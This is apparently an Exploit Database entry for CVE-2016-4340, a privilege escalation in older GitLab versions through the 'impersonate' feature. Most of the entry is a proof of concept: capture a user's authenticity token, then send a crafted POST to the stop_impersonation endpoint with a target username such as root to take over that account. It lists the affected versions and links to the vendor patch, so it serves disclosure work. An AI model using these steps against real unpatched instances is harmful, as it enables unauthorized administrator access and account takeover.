GitLab - 'impersonate' Feature Privilege Escalation

Author: Kaimi
type: webapps
platform: ruby
port: 80.0
date_added: 2016-08-15 
date_updated: 2016-08-15 
verified: 0 
codes: CVE-2016-4340 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: GitLab privilege escalation via "impersonate" feature
# Date: 02-05-2016
# Software Link: https://about.gitlab.com/
# Version: 8.2.0 - 8.2.4, 8.3.0 - 8.3.8, 8.4.0 - 8.4.9, 8.5.0 - 8.5.11, 8.6.0 - 8.6.7, 8.7.0
# Exploit Author: Kaimi
# Website: https://kaimi.ru
# CVE: CVE-2016-4340
# Category: webapps

1. Description

Any registered user can "log in" as any other user, including administrators.

https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/


2. Proof of Concept

Login as regular user.
Get current authenticity token by observing any POST-request (ex.: change any info in user profile).

Craft request using this as template:

POST /admin/users/stop_impersonation?id=root
. . .

_method=delete&authenticity_token=lqyOBt5U%2F0%2BPM2i%2BGDx3zaVjGgAqHzoteQ15FnrQ3E8%3D

Where 'root' - desired user. 'authenticity_token' - token obtained on the previous step.


3. Solution:

Use officialy provided solutions:
https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/